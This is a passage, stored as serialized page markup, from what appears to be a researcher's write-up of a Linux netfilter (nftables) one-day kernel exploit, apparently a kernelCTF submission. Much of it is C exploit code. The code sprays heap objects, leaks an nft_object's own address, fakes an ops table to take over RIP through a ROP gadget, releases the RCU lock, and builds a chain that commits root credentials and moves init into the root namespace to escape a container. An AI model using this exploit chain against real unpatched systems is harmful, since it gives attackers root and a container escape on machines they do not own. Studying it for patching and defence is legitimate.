",{"type":24,"tag":930,"props":58713,"children":58714},{"style":1158},[58715],{"type":30,"value":1161},{"type":24,"tag":930,"props":58717,"children":58718},{"style":959},[58719],{"type":30,"value":1087},{"type":24,"tag":930,"props":58721,"children":58722},{"style":937},[58723],{"type":30,"value":58724},"uint64_t",{"type":24,"tag":930,"props":58726,"children":58727},{"style":1158},[58728],{"type":30,"value":12924},{"type":24,"tag":930,"props":58730,"children":58731},{"style":959},[58732],{"type":30,"value":6249},{"type":24,"tag":930,"props":58734,"children":58735},{"style":1002},[58736],{"type":30,"value":58737},"getudata",{"type":24,"tag":930,"props":58739,"children":58740},{"style":959},[58741],{"type":30,"value":58622},{"type":24,"tag":930,"props":58743,"children":58744},{"style":1270},[58745],{"type":30,"value":58746},"\"spray-2\"",{"type":24,"tag":930,"props":58748,"children":58749},{"style":959},[58750],{"type":30,"value":1278},{"type":24,"tag":930,"props":58752,"children":58753},{"class":932,"line":1628},[58754],{"type":24,"tag":930,"props":58755,"children":58756},{"style":959},[58757],{"type":30,"value":990},{"type":24,"tag":151,"props":58759,"children":58761},{"id":58760},"leaking-self-pointer-of-nft_object",[58762,58764],{"type":30,"value":58763},"Leaking self pointer of ",{"type":24,"tag":156,"props":58765,"children":58767},{"className":58766},[],[58768],{"type":30,"value":58203},{"type":24,"tag":33,"props":58770,"children":58771},{},[58772,58774,58779,58781,58786,58788,58793,58795,58801],{"type":30,"value":58773},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":24,"tag":156,"props":58775,"children":58777},{"className":58776},[],[58778],{"type":30,"value":58203},{"type":30,"value":58780}," to get its own address. This is possible because the ",{"type":24,"tag":156,"props":58782,"children":58784},{"className":58783},[],[58785],{"type":30,"value":58203},{"type":30,"value":58787}," has a ",{"type":24,"tag":156,"props":58789,"children":58791},{"className":58790},[],[58792],{"type":30,"value":58188},{"type":30,"value":58794}," pointer (similar to ",{"type":24,"tag":156,"props":58796,"children":58798},{"className":58797},[],[58799],{"type":30,"value":58800},"table->udata",{"type":30,"value":58802}," that I used for leaking KASLR), that I can use to read/write data.",{"type":24,"tag":33,"props":58804,"children":58805},{},[58806,58807,58812,58814,58820,58822,58827,58829,58835,58837,58843,58845,58850,58852,58857,58859,58864,58866],{"type":30,"value":259},{"type":24,"tag":156,"props":58808,"children":58810},{"className":58809},[],[58811],{"type":30,"value":58203},{"type":30,"value":58813}," struct also contains a ",{"type":24,"tag":156,"props":58815,"children":58817},{"className":58816},[],[58818],{"type":30,"value":58819},"list_head",{"type":30,"value":58821}," inserted in a circular list containing all ",{"type":24,"tag":156,"props":58823,"children":58825},{"className":58824},[],[58826],{"type":30,"value":58203},{"type":30,"value":58828},"'s that belong to a given ",{"type":24,"tag":156,"props":58830,"children":58832},{"className":58831},[],[58833],{"type":30,"value":58834},"table",{"type":30,"value":58836},". Considering that our object is currently alone in its table, the ",{"type":24,"tag":156,"props":58838,"children":58840},{"className":58839},[],[58841],{"type":30,"value":58842},"table->list.next",{"type":30,"value":58844}," pointer in the ",{"type":24,"tag":156,"props":58846,"children":58848},{"className":58847},[],[58849],{"type":30,"value":58203},{"type":30,"value":58851}," will point back to the ",{"type":24,"tag":156,"props":58853,"children":58855},{"className":58854},[],[58856],{"type":30,"value":58819},{"type":30,"value":58858}," contained in the ",{"type":24,"tag":156,"props":58860,"children":58862},{"className":58861},[],[58863],{"type":30,"value":58834},{"type":30,"value":58865}," and vice-versa.\n",{"type":24,"tag":140,"props":58867,"children":58869},{"alt":142,"src":58868},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":24,"tag":33,"props":58871,"children":58872},{},[58873,58875,58880,58882,58887,58889,58895,58897,58902,58903,58908,58910,58915,58917,58922],{"type":30,"value":58874},"In short, that means that if we swap the ",{"type":24,"tag":156,"props":58876,"children":58878},{"className":58877},[],[58879],{"type":30,"value":58188},{"type":30,"value":58881}," pointer of the ",{"type":24,"tag":156,"props":58883,"children":58885},{"className":58884},[],[58886],{"type":30,"value":58203},{"type":30,"value":58888}," with its own ",{"type":24,"tag":156,"props":58890,"children":58892},{"className":58891},[],[58893],{"type":30,"value":58894},"list.next",{"type":30,"value":58896}," pointer we should be able to read a pointer back to the ",{"type":24,"tag":156,"props":58898,"children":58900},{"className":58899},[],[58901],{"type":30,"value":58203},{"type":30,"value":55428},{"type":24,"tag":156,"props":58904,"children":58906},{"className":58905},[],[58907],{"type":30,"value":58819},{"type":30,"value":58909}," which is also the start of the ",{"type":24,"tag":156,"props":58911,"children":58913},{"className":58912},[],[58914],{"type":30,"value":58203},{"type":30,"value":58916}," itself.\n",{"type":24,"tag":275,"props":58918,"children":58919},{},[58920],{"type":30,"value":58921},"NOTE:",{"type":30,"value":58923}," This is a novel small trick.",{"type":24,"tag":920,"props":58925,"children":58927},{"className":32201,"code":58926,"language":32203,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[58928],{"type":24,"tag":156,"props":58929,"children":58930},{"__ignoreMap":7},[58931,58938,58946,58959,59007,59034,59045,59083,59090,59119,59149],{"type":24,"tag":930,"props":58932,"children":58933},{"class":932,"line":933},[58934],{"type":24,"tag":930,"props":58935,"children":58936},{"style":959},[58937],{"type":30,"value":990},{"type":24,"tag":930,"props":58939,"children":58940},{"class":932,"line":984},[58941],{"type":24,"tag":930,"props":58942,"children":58943},{"style":959},[58944],{"type":30,"value":58945},"    // Leak nft_object ptr using table linked list\n",{"type":24,"tag":930,"props":58947,"children":58948},{"class":932,"line":993},[58949,58954],{"type":24,"tag":930,"props":58950,"children":58951},{"style":959},[58952],{"type":30,"value":58953},"    fake_obj[8] = 8;",{"type":24,"tag":930,"props":58955,"children":58956},{"style":1422},[58957],{"type":30,"value":58958},"           // ulen = 8\n",{"type":24,"tag":930,"props":58960,"children":58961},{"class":932,"line":1057},[58962,58967,58971,58976,58980,58984,58989,58993,58997,59002],{"type":24,"tag":930,"props":58963,"children":58964},{"style":1023},[58965],{"type":30,"value":58966},"    fake_obj",{"type":24,"tag":930,"props":58968,"children":58969},{"style":959},[58970],{"type":30,"value":6849},{"type":24,"tag":930,"props":58972,"children":58973},{"style":1242},[58974],{"type":30,"value":58975},"9",{"type":24,"tag":930,"props":58977,"children":58978},{"style":959},[58979],{"type":30,"value":11770},{"type":24,"tag":930,"props":58981,"children":58982},{"style":1158},[58983],{"type":30,"value":1161},{"type":24,"tag":930,"props":58985,"children":58986},{"style":1023},[58987],{"type":30,"value":58988}," fake_obj",{"type":24,"tag":930,"props":58990,"children":58991},{"style":959},[58992],{"type":30,"value":6849},{"type":24,"tag":930,"props":58994,"children":58995},{"style":1242},[58996],{"type":30,"value":1818},{"type":24,"tag":930,"props":58998,"children":58999},{"style":959},[59000],{"type":30,"value":59001},"];",{"type":24,"tag":930,"props":59003,"children":59004},{"style":1422},[59005],{"type":30,"value":59006}," // udata = list->next\n",{"type":24,"tag":930,"props":59008,"children":59009},{"class":932,"line":1066},[59010,59014,59018,59022,59026,59030],{"type":24,"tag":930,"props":59011,"children":59012},{"style":1002},[59013],{"type":30,"value":58617},{"type":24,"tag":930,"props":59015,"children":59016},{"style":959},[59017],{"type":30,"value":58622},{"type":24,"tag":930,"props":59019,"children":59020},{"style":1242},[59021],{"type":30,"value":6244},{"type":24,"tag":930,"props":59023,"children":59024},{"style":959},[59025],{"type":30,"value":962},{"type":24,"tag":930,"props":59027,"children":59028},{"style":1242},[59029],{"type":30,"value":7129},{"type":24,"tag":930,"props":59031,"children":59032},{"style":959},[59033],{"type":30,"value":1278},{"type":24,"tag":930,"props":59035,"children":59036},{"class":932,"line":1075},[59037,59041],{"type":24,"tag":930,"props":59038,"children":59039},{"style":1002},[59040],{"type":30,"value":58646},{"type":24,"tag":930,"props":59042,"children":59043},{"style":959},[59044],{"type":30,"value":1310},{"type":24,"tag":930,"props":59046,"children":59047},{"class":932,"line":1122},[59048,59053,59057,59062,59066,59070,59074,59078],{"type":24,"tag":930,"props":59049,"children":59050},{"style":1002},[59051],{"type":30,"value":59052},"    udata_spray",{"type":24,"tag":930,"props":59054,"children":59055},{"style":959},[59056],{"type":30,"value":58622},{"type":24,"tag":930,"props":59058,"children":59059},{"style":1242},[59060],{"type":30,"value":59061},"0xe8",{"type":24,"tag":930,"props":59063,"children":59064},{"style":959},[59065],{"type":30,"value":962},{"type":24,"tag":930,"props":59067,"children":59068},{"style":1242},[59069],{"type":30,"value":20397},{"type":24,"tag":930,"props":59071,"children":59072},{"style":959},[59073],{"type":30,"value":962},{"type":24,"tag":930,"props":59075,"children":59076},{"style":1242},[59077],{"type":30,"value":7129},{"type":24,"tag":930,"props":59079,"children":59080},{"style":959},[59081],{"type":30,"value":59082},", fake_obj);\n",{"type":24,"tag":930,"props":59084,"children":59085},{"class":932,"line":1131},[59086],{"type":24,"tag":930,"props":59087,"children":59088},{"emptyLinePlaceholder":16},[59089],{"type":30,"value":2412},{"type":24,"tag":930,"props":59091,"children":59092},{"class":932,"line":1144},[59093,59098,59102,59107,59111,59115],{"type":24,"tag":930,"props":59094,"children":59095},{"style":1002},[59096],{"type":30,"value":59097},"    get_obj",{"type":24,"tag":930,"props":59099,"children":59100},{"style":959},[59101],{"type":30,"value":58622},{"type":24,"tag":930,"props":59103,"children":59104},{"style":1270},[59105],{"type":30,"value":59106},"\"spray-0\"",{"type":24,"tag":930,"props":59108,"children":59109},{"style":959},[59110],{"type":30,"value":962},{"type":24,"tag":930,"props":59112,"children":59113},{"style":937},[59114],{"type":30,"value":7110},{"type":24,"tag":930,"props":59116,"children":59117},{"style":959},[59118],{"type":30,"value":1278},{"type":24,"tag":930,"props":59120,"children":59121},{"class":932,"line":1169},[59122,59127,59131,59136,59140,59144],{"type":24,"tag":930,"props":59123,"children":59124},{"style":1002},[59125],{"type":30,"value":59126},"    printf",{"type":24,"tag":930,"props":59128,"children":59129},{"style":959},[59130],{"type":30,"value":1010},{"type":24,"tag":930,"props":59132,"children":59133},{"style":1270},[59134],{"type":30,"value":59135},"\"[*] nft_object ptr: 0x%lx",{"type":24,"tag":930,"props":59137,"children":59138},{"style":51463},[59139],{"type":30,"value":51466},{"type":24,"tag":930,"props":59141,"children":59142},{"style":1270},[59143],{"type":30,"value":23163},{"type":24,"tag":930,"props":59145,"children":59146},{"style":959},[59147],{"type":30,"value":59148},", obj_ptr);\n",{"type":24,"tag":930,"props":59150,"children":59151},{"class":932,"line":1191},[59152],{"type":24,"tag":930,"props":59153,"children":59154},{"style":959},[59155],{"type":30,"value":990},{"type":24,"tag":151,"props":59157,"children":59159},{"id":59158},"hijacking-control-flow",[59160],{"type":30,"value":59161},"Hijacking control-flow",{"type":24,"tag":33,"props":59163,"children":59164},{},[59165,59167,59172,59174,59179,59181,59186,59188,59193,59195,59200,59202],{"type":30,"value":59166},"To hijack control-flow, we can use ",{"type":24,"tag":156,"props":59168,"children":59170},{"className":59169},[],[59171],{"type":30,"value":58203},{"type":30,"value":59173}," once again. The ",{"type":24,"tag":156,"props":59175,"children":59177},{"className":59176},[],[59178],{"type":30,"value":58203},{"type":30,"value":59180}," struct has an ",{"type":24,"tag":156,"props":59182,"children":59184},{"className":59183},[],[59185],{"type":30,"value":55759},{"type":30,"value":59187}," pointer to a function pointer table. We can swap the ",{"type":24,"tag":156,"props":59189,"children":59191},{"className":59190},[],[59192],{"type":30,"value":55759},{"type":30,"value":59194}," pointer with the ",{"type":24,"tag":156,"props":59196,"children":59198},{"className":59197},[],[59199],{"type":30,"value":58188},{"type":30,"value":59201}," pointer, taking control of the pointer table.\n",{"type":24,"tag":140,"props":59203,"children":59205},{"alt":142,"src":59204},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":920,"props":59207,"children":59209},{"className":32201,"code":59208,"language":32203,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[59210],{"type":24,"tag":156,"props":59211,"children":59212},{"__ignoreMap":7},[59213,59220,59228,59252,59299,59335,59342,59350,59382,59390,59398,59419,59427,59435,59499,59506,59514,59522,59529,59537,59571,59579,59586,59594,59601,59609,59642,59663],{"type":24,"tag":930,"props":59214,"children":59215},{"class":932,"line":933},[59216],{"type":24,"tag":930,"props":59217,"children":59218},{"style":959},[59219],{"type":30,"value":990},{"type":24,"tag":930,"props":59221,"children":59222},{"class":932,"line":984},[59223],{"type":24,"tag":930,"props":59224,"children":59225},{"style":959},[59226],{"type":30,"value":59227},"    // Fake ops\n",{"type":24,"tag":930,"props":59229,"children":59230},{"class":932,"line":993},[59231,59236,59240,59244,59248],{"type":24,"tag":930,"props":59232,"children":59233},{"style":959},[59234],{"type":30,"value":59235},"    uint64_t *rop = calloc(29, ",{"type":24,"tag":930,"props":59237,"children":59238},{"style":943},[59239],{"type":30,"value":58417},{"type":24,"tag":930,"props":59241,"children":59242},{"style":959},[59243],{"type":30,"value":1010},{"type":24,"tag":930,"props":59245,"children":59246},{"style":937},[59247],{"type":30,"value":58724},{"type":24,"tag":930,"props":59249,"children":59250},{"style":959},[59251],{"type":30,"value":2058},{"type":24,"tag":930,"props":59253,"children":59254},{"class":932,"line":1057},[59255,59260,59264,59268,59272,59276,59281,59285,59290,59294],{"type":24,"tag":930,"props":59256,"children":59257},{"style":1023},[59258],{"type":30,"value":59259},"    rop",{"type":24,"tag":930,"props":59261,"children":59262},{"style":959},[59263],{"type":30,"value":6849},{"type":24,"tag":930,"props":59265,"children":59266},{"style":1242},[59267],{"type":30,"value":1818},{"type":24,"tag":930,"props":59269,"children":59270},{"style":959},[59271],{"type":30,"value":11770},{"type":24,"tag":930,"props":59273,"children":59274},{"style":1158},[59275],{"type":30,"value":1161},{"type":24,"tag":930,"props":59277,"children":59278},{"style":959},[59279],{"type":30,"value":59280}," kaslr_slide ",{"type":24,"tag":930,"props":59282,"children":59283},{"style":1158},[59284],{"type":30,"value":1400},{"type":24,"tag":930,"props":59286,"children":59287},{"style":1242},[59288],{"type":30,"value":59289}," 0xffffffff81988647",{"type":24,"tag":930,"props":59291,"children":59292},{"style":959},[59293],{"type":30,"value":52163},{"type":24,"tag":930,"props":59295,"children":59296},{"style":1422},[59297],{"type":30,"value":59298}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":930,"props":59300,"children":59301},{"class":932,"line":1066},[59302,59306,59310,59314,59318,59322,59326,59330],{"type":24,"tag":930,"props":59303,"children":59304},{"style":1023},[59305],{"type":30,"value":59259},{"type":24,"tag":930,"props":59307,"children":59308},{"style":959},[59309],{"type":30,"value":6849},{"type":24,"tag":930,"props":59311,"children":59312},{"style":1242},[59313],{"type":30,"value":6244},{"type":24,"tag":930,"props":59315,"children":59316},{"style":959},[59317],{"type":30,"value":11770},{"type":24,"tag":930,"props":59319,"children":59320},{"style":1158},[59321],{"type":30,"value":1161},{"type":24,"tag":930,"props":59323,"children":59324},{"style":959},[59325],{"type":30,"value":59280},{"type":24,"tag":930,"props":59327,"children":59328},{"style":1158},[59329],{"type":30,"value":1400},{"type":24,"tag":930,"props":59331,"children":59332},{"style":959},[59333],{"type":30,"value":59334}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":930,"props":59336,"children":59337},{"class":932,"line":1075},[59338],{"type":24,"tag":930,"props":59339,"children":59340},{"style":959},[59341],{"type":30,"value":990},{"type":24,"tag":930,"props":59343,"children":59344},{"class":932,"line":1122},[59345],{"type":24,"tag":930,"props":59346,"children":59347},{"style":959},[59348],{"type":30,"value":59349},"    // Send ROP in object udata\n",{"type":24,"tag":930,"props":59351,"children":59352},{"class":932,"line":1131},[59353,59358,59362,59367,59372,59377],{"type":24,"tag":930,"props":59354,"children":59355},{"style":959},[59356],{"type":30,"value":59357},"    del_obj(",{"type":24,"tag":930,"props":59359,"children":59360},{"style":943},[59361],{"type":30,"value":57379},{"type":24,"tag":930,"props":59363,"children":59364},{"style":959},[59365],{"type":30,"value":59366},", \"",{"type":24,"tag":930,"props":59368,"children":59369},{"style":943},[59370],{"type":30,"value":59371},"spray",{"type":24,"tag":930,"props":59373,"children":59374},{"style":959},[59375],{"type":30,"value":59376},"-0",{"type":24,"tag":930,"props":59378,"children":59379},{"style":1270},[59380],{"type":30,"value":59381},"\");\n",{"type":24,"tag":930,"props":59383,"children":59384},{"class":932,"line":1144},[59385],{"type":24,"tag":930,"props":59386,"children":59387},{"style":1270},[59388],{"type":30,"value":59389},"    wait_destroyer();\n",{"type":24,"tag":930,"props":59391,"children":59392},{"class":932,"line":1169},[59393],{"type":24,"tag":930,"props":59394,"children":59395},{"style":1270},[59396],{"type":30,"value":59397},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":930,"props":59399,"children":59400},{"class":932,"line":1191},[59401,59406,59410,59415],{"type":24,"tag":930,"props":59402,"children":59403},{"style":1270},[59404],{"type":30,"value":59405},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":930,"props":59407,"children":59408},{"style":937},[59409],{"type":30,"value":59371},{"type":24,"tag":930,"props":59411,"children":59412},{"style":959},[59413],{"type":30,"value":59414},"-3",{"type":24,"tag":930,"props":59416,"children":59417},{"style":1270},[59418],{"type":30,"value":59381},{"type":24,"tag":930,"props":59420,"children":59421},{"class":932,"line":1223},[59422],{"type":24,"tag":930,"props":59423,"children":59424},{"style":1270},[59425],{"type":30,"value":59426},"    DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":930,"props":59428,"children":59429},{"class":932,"line":1281},[59430],{"type":24,"tag":930,"props":59431,"children":59432},{"style":1270},[59433],{"type":30,"value":59434},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":930,"props":59436,"children":59437},{"class":932,"line":1313},[59438,59443,59447,59451,59455,59460,59465,59470,59474,59479,59484,59489,59494],{"type":24,"tag":930,"props":59439,"children":59440},{"style":1270},[59441],{"type":30,"value":59442},"    printf(\"",{"type":24,"tag":930,"props":59444,"children":59445},{"style":959},[59446],{"type":30,"value":6849},{"type":24,"tag":930,"props":59448,"children":59449},{"style":1158},[59450],{"type":30,"value":1410},{"type":24,"tag":930,"props":59452,"children":59453},{"style":959},[59454],{"type":30,"value":11770},{"type":24,"tag":930,"props":59456,"children":59457},{"style":943},[59458],{"type":30,"value":59459},"ROP",{"type":24,"tag":930,"props":59461,"children":59462},{"style":943},[59463],{"type":30,"value":59464}," addr",{"type":24,"tag":930,"props":59466,"children":59467},{"style":959},[59468],{"type":30,"value":59469},": 0",{"type":24,"tag":930,"props":59471,"children":59472},{"style":943},[59473],{"type":30,"value":22378},{"type":24,"tag":930,"props":59475,"children":59476},{"style":959},[59477],{"type":30,"value":59478},"%",{"type":24,"tag":930,"props":59480,"children":59481},{"style":943},[59482],{"type":30,"value":59483},"lx",{"type":24,"tag":930,"props":59485,"children":59486},{"style":959},[59487],{"type":30,"value":59488},"\\",{"type":24,"tag":930,"props":59490,"children":59491},{"style":943},[59492],{"type":30,"value":59493},"n",{"type":24,"tag":930,"props":59495,"children":59496},{"style":1270},[59497],{"type":30,"value":59498},"\", rop_addr);\n",{"type":24,"tag":930,"props":59500,"children":59501},{"class":932,"line":1335},[59502],{"type":24,"tag":930,"props":59503,"children":59504},{"emptyLinePlaceholder":16},[59505],{"type":30,"value":2412},{"type":24,"tag":930,"props":59507,"children":59508},{"class":932,"line":1376},[59509],{"type":24,"tag":930,"props":59510,"children":59511},{"style":1270},[59512],{"type":30,"value":59513},"    // Point to fake ops\n",{"type":24,"tag":930,"props":59515,"children":59516},{"class":932,"line":1418},[59517],{"type":24,"tag":930,"props":59518,"children":59519},{"style":1270},[59520],{"type":30,"value":59521},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":930,"props":59523,"children":59524},{"class":932,"line":1438},[59525],{"type":24,"tag":930,"props":59526,"children":59527},{"style":1270},[59528],{"type":30,"value":990},{"type":24,"tag":930,"props":59530,"children":59531},{"class":932,"line":1479},[59532],{"type":24,"tag":930,"props":59533,"children":59534},{"style":1270},[59535],{"type":30,"value":59536},"    // Write ROP\n",{"type":24,"tag":930,"props":59538,"children":59539},{"class":932,"line":1506},[59540,59545,59549,59553,59557,59562,59567],{"type":24,"tag":930,"props":59541,"children":59542},{"style":1270},[59543],{"type":30,"value":59544},"    puts(\"",{"type":24,"tag":930,"props":59546,"children":59547},{"style":959},[59548],{"type":30,"value":6849},{"type":24,"tag":930,"props":59550,"children":59551},{"style":1158},[59552],{"type":30,"value":1410},{"type":24,"tag":930,"props":59554,"children":59555},{"style":959},[59556],{"type":30,"value":11770},{"type":24,"tag":930,"props":59558,"children":59559},{"style":943},[59560],{"type":30,"value":59561},"Write",{"type":24,"tag":930,"props":59563,"children":59564},{"style":943},[59565],{"type":30,"value":59566}," ROP",{"type":24,"tag":930,"props":59568,"children":59569},{"style":1270},[59570],{"type":30,"value":59381},{"type":24,"tag":930,"props":59572,"children":59573},{"class":932,"line":1525},[59574],{"type":24,"tag":930,"props":59575,"children":59576},{"style":1270},[59577],{"type":30,"value":59578},"    deludata_spray(nl, 3, 1);\n",{"type":24,"tag":930,"props":59580,"children":59581},{"class":932,"line":1569},[59582],{"type":24,"tag":930,"props":59583,"children":59584},{"style":1270},[59585],{"type":30,"value":59389},{"type":24,"tag":930,"props":59587,"children":59588},{"class":932,"line":1592},[59589],{"type":24,"tag":930,"props":59590,"children":59591},{"style":1270},[59592],{"type":30,"value":59593},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":930,"props":59595,"children":59596},{"class":932,"line":1610},[59597],{"type":24,"tag":930,"props":59598,"children":59599},{"emptyLinePlaceholder":16},[59600],{"type":30,"value":2412},{"type":24,"tag":930,"props":59602,"children":59603},{"class":932,"line":1628},[59604],{"type":24,"tag":930,"props":59605,"children":59606},{"style":1270},[59607],{"type":30,"value":59608},"    // Takeover RIP\n",{"type":24,"tag":930,"props":59610,"children":59611},{"class":932,"line":1637},[59612,59616,59620,59624,59628,59633,59638],{"type":24,"tag":930,"props":59613,"children":59614},{"style":1270},[59615],{"type":30,"value":59544},{"type":24,"tag":930,"props":59617,"children":59618},{"style":959},[59619],{"type":30,"value":6849},{"type":24,"tag":930,"props":59621,"children":59622},{"style":1158},[59623],{"type":30,"value":1410},{"type":24,"tag":930,"props":59625,"children":59626},{"style":959},[59627],{"type":30,"value":11770},{"type":24,"tag":930,"props":59629,"children":59630},{"style":943},[59631],{"type":30,"value":59632},"Takeover",{"type":24,"tag":930,"props":59634,"children":59635},{"style":943},[59636],{"type":30,"value":59637}," RIP",{"type":24,"tag":930,"props":59639,"children":59640},{"style":1270},[59641],{"type":30,"value":59381},{"type":24,"tag":930,"props":59643,"children":59644},{"class":932,"line":1646},[59645,59650,59654,59659],{"type":24,"tag":930,"props":59646,"children":59647},{"style":1270},[59648],{"type":30,"value":59649},"    dump_obj(nl, \"",{"type":24,"tag":930,"props":59651,"children":59652},{"style":937},[59653],{"type":30,"value":59371},{"type":24,"tag":930,"props":59655,"children":59656},{"style":959},[59657],{"type":30,"value":59658},"-1",{"type":24,"tag":930,"props":59660,"children":59661},{"style":1270},[59662],{"type":30,"value":59381},{"type":24,"tag":930,"props":59664,"children":59665},{"class":932,"line":1673},[59666],{"type":24,"tag":930,"props":59667,"children":59668},{"style":1270},[59669],{"type":30,"value":990},{"type":24,"tag":151,"props":59671,"children":59673},{"id":59672},"bypass-context-switch-in-rcu-critical-section",[59674],{"type":30,"value":59675},"Bypass context switch in RCU critical-section",{"type":24,"tag":33,"props":59677,"children":59678},{},[59679,59680,59685],{"type":30,"value":259},{"type":24,"tag":156,"props":59681,"children":59683},{"className":59682},[],[59684],{"type":30,"value":58203},{"type":30,"value":59686}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":33,"props":59688,"children":59689},{},[59690,59692,59699,59701,59707,59709,59715],{"type":30,"value":59691},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":37,"props":59693,"children":59696},{"href":59694,"rel":59695},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[41],[59697],{"type":30,"value":59698},"previous kernelCTF submission",{"type":30,"value":59700}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":156,"props":59702,"children":59704},{"className":59703},[],[59705],{"type":30,"value":59706},"task_struct",{"type":30,"value":59708}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":24,"tag":156,"props":59710,"children":59712},{"className":59711},[],[59713],{"type":30,"value":59714},"__rcu_read_unlock()",{"type":30,"value":59716}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":920,"props":59718,"children":59720},{"className":32201,"code":59719,"language":32203,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[59721],{"type":24,"tag":156,"props":59722,"children":59723},{"__ignoreMap":7},[59724,59732,59756,59763],{"type":24,"tag":930,"props":59725,"children":59726},{"class":932,"line":933},[59727],{"type":24,"tag":930,"props":59728,"children":59729},{"style":1422},[59730],{"type":30,"value":59731},"    // ROP stage 1\n",{"type":24,"tag":930,"props":59733,"children":59734},{"class":932,"line":984},[59735,59739,59744,59748,59752],{"type":24,"tag":930,"props":59736,"children":59737},{"style":937},[59738],{"type":30,"value":22179},{"type":24,"tag":930,"props":59740,"children":59741},{"style":959},[59742],{"type":30,"value":59743}," pos ",{"type":24,"tag":930,"props":59745,"children":59746},{"style":1158},[59747],{"type":30,"value":1161},{"type":24,"tag":930,"props":59749,"children":59750},{"style":1242},[59751],{"type":30,"value":22201},{"type":24,"tag":930,"props":59753,"children":59754},{"style":959},[59755],{"type":30,"value":5539},{"type":24,"tag":930,"props":59757,"children":59758},{"class":932,"line":993},[59759],{"type":24,"tag":930,"props":59760,"children":59761},{"emptyLinePlaceholder":16},[59762],{"type":30,"value":2412},{"type":24,"tag":930,"props":59764,"children":59765},{"class":932,"line":1057},[59766,59770,59775,59779,59783,59787,59791,59795],{"type":24,"tag":930,"props":59767,"children":59768},{"style":1023},[59769],{"type":30,"value":59259},{"type":24,"tag":930,"props":59771,"children":59772},{"style":959},[59773],{"type":30,"value":59774},"[pos",{"type":24,"tag":930,"props":59776,"children":59777},{"style":1158},[59778],{"type":30,"value":54358},{"type":24,"tag":930,"props":59780,"children":59781},{"style":959},[59782],{"type":30,"value":11770},{"type":24,"tag":930,"props":59784,"children":59785},{"style":1158},[59786],{"type":30,"value":1161},{"type":24,"tag":930,"props":59788,"children":59789},{"style":959},[59790],{"type":30,"value":59280},{"type":24,"tag":930,"props":59792,"children":59793},{"style":1158},[59794],{"type":30,"value":1400},{"type":24,"tag":930,"props":59796,"children":59797},{"style":959},[59798],{"type":30,"value":59799}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":151,"props":59801,"children":59803},{"id":59802},"rop",[59804],{"type":30,"value":59459},{"type":24,"tag":33,"props":59806,"children":59807},{},[59808],{"type":30,"value":59809},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":96,"props":59811,"children":59812},{},[59813,59824,59835],{"type":24,"tag":100,"props":59814,"children":59815},{},[59816,59822],{"type":24,"tag":156,"props":59817,"children":59819},{"className":59818},[],[59820],{"type":30,"value":59821},"commit_creds(&init_cred);",{"type":30,"value":59823}," Commit root credentials to our process",{"type":24,"tag":100,"props":59825,"children":59826},{},[59827,59833],{"type":24,"tag":156,"props":59828,"children":59830},{"className":59829},[],[59831],{"type":30,"value":59832},"task = find_task_by_vpid(1);",{"type":30,"value":59834}," Find the root process of our namespace",{"type":24,"tag":100,"props":59836,"children":59837},{},[59838,59844],{"type":24,"tag":156,"props":59839,"children":59841},{"className":59840},[],[59842],{"type":30,"value":59843},"switch_task_namespaces(task, &init_nsproxy);",{"type":30,"value":59845}," Move it to the root namespace",{"type":24,"tag":33,"props":59847,"children":59848},{},[59849,59851,59857,59859,59865,59866,59872,59874,59880,59882,59887,59889,59895],{"type":30,"value":59850},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":156,"props":59852,"children":59854},{"className":59853},[],[59855],{"type":30,"value":59856},"find_task_by_vpid(1)",{"type":30,"value":59858}," passed through 